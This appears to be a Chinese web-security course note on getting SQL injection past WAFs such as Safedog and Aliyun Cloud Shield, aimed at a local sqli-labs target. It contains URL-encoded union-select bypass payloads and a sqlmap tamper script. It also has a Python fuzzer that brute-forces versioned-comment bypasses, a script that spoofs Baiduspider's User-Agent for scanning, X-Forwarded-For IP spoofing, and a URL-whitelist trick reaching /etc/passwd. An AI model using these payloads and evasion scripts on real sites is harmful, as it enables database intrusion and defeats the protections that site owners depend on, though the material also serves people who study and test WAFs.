WEB漏洞-SQL注入之深入WAF注入绕过

WAF绕过-SQL注入.png

第18讲中的知识点相关内容

  • 数据库特性
%23x%0aunion%23x%0Aselect%201,2,3    
%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23
  • 分析下句绕过了waf的原因
%20union%20/*!44509select*/%201,2,3

image.png

image (1).png

sqlmap脚本

一般情况下,sqlmap支持将注入语句中的参数输出时使用脚本进行替换,达到绕过waf的目的

FUZZ绕过脚本

#!/usr/bin/envpython

"""
Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__=PRIORITY.HIGHEST

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))

def tamper(payload,**kwargs):

#%23a%0aunion/*!44575select*/1,2,3
    if payload:
        payload=payload.replace("union","%23a%0aunion")
        payload=payload.replace("select","/*!44575select*/")
        payload=payload.replace("%20","%23a%0a")
        payload=payload.replace("","%23a%0a")
        payload=payload.replace("database()","database%23a%0a()")
    return payload

import requests,time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
    for xiaodi in a:
        for xiaodis in aa:
            for xiaodiss in aaa:
                for two in range(44500,44600):
                    urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao
diss+num
                    #urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
                    try:
                        result=requests.get(urls).text
                        len_r=len(result)
                        if (result.find('safedog')==-1):
                            #print('bypass url addreess:'+urls+'|'+str(len_r))
                             print('bypass url addreess:'+urls+'|'+str(len_r))
                        if len_r==715:
                             fp = open('url.txt','a+')
                             fp.write(urls+'\n')
                             fp.close()
                    except Exception as err:
                        print('connecting error')
                        time.sleep(0.1)
if__name__=='__main__':
    print('fuzz strat!')
    bypass()

伪造成百度爬虫脚本

import json
import requests

url='http://192.168.0.103:8080/'

head={
    'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
    data=data.replace('\n','')
    urls=url+data
    code=requests.get(urls).status_code
    print(urls+'|'+str(code))

演示案例

简要其他绕过方式学习

方式一:IP白名单

通过对网站ip地址的伪造,知道对方网站ip地址,那就默认为ip地址为白名单。从网络层获取的ip,这种一般伪造不来,如果是获取客户端的ip,这样就饿可能存在伪造ip绕过的情况。测试方法:修改httpheaderby pass waf

  • X-forwarded-for
  • X-remote-IP
  • X-remote-addr
  • X-Real-IP

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js、.jpg、.swf、.css等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。

image (2).png

  • 不过这是老版本waf不过滤,现在一般也会过滤掉

image (3).png

方式三:url白名单(老版本waf)

为了防止误拦,部分waf内置默认的白名单列表,如admin,manager,system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:

waf通过/manage/进行比较,只要url中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?1=manage/&b=../etc/passwd绕过防御规则。

image (4).png

image (5).png

  • 依旧拦截是因为老版本waf才可以,新版本的会拦截

image (6).png

方式四:爬虫白名单(不是注入绕过而是扫描绕过经常用到)

伪装成搜索引擎,部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:

  • 根据UserAgent
  • 通过行为来判断

开启流量防护

image (7).png

都是误报,这些文件都不存在

image (8).png

扫描之后再访问页面就会被拦截

image (9).png

UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。

伪造成百度爬虫

微信截图_20210526113914.png

使用伪装脚本进行爬取,发现网站是没有任何拦截的。返回200是存在的,404不存在

image (10).png

image (11).png

FUZZ绕过脚本结合编写测试

阿里云盾防SQL注入简要分析

image (12).png

使用sqlmap跑过之后阿里云盾会对二次请求进行拦截,开启安全狗,使用sqlmap发现未报出注入点

image (13).png

这时就需要使用到sqlmap的脚本文件(自带大概率无法达到目的),脚本文件存在temper文件夹中(一般脚本使用教程)接下来要想使用的话还是得自己编写脚本

image (14).png

安全狗+云盾SQL注入插件脚本编写

自己编写脚本bypassdog.py(也就是rdog.py)

image (15).png

直接使用脚本是无法跑来的,抓包到本地分析一下

image (16).png

User-Agent显示的是sqlmap的信息

微信截图_20210527010227.png

此时安全狗上面会有拦截记录,分析可知是HTTP请求头User-agent的原因

image (17).png

并且漏洞防护规则也开启了工具拦截

image (18).png

根据这些我们知道了拦截原因:通过请求头及指纹库,知道了是使用工具sqlmap对网站进行了恶意扫描,所以进行了拦截,比如User-Agent改为1就没有进行拦截

image (19).png

当然在使用sqlmap时可以加上参数--random agent(随机出现字母头)

image (20).png

微信截图_20210527012054.png

获取表名

image (21).png

可以使用burp查看sqlmap的注入语句

image (22).png

表名出现了

image (23).png

image (24).png

如果安全狗开启流量防护

image (25).png

sqlmap的速度过快,所以会被拦截

image (26).png

解决方法:添加延时参数 --delay参数

image (27).png

使用代理池,随机出IP.更改请求头,添加http白名单 浏览器请求头--user-Agent=""

image (28).png

发现请求正常无拦截

image (29).png

如果需要更改的数据不是User-Agent,使用burp的intrude模块(很麻烦)

image (30).png

自己编写,然后使用TXT文本里的数据包注入,sqlmap去注入本地的脚本地址 -> 本地搭建脚本(请求数据包自定义编写) -> 远程地址

微信截图_20210527013912.png

image (31).png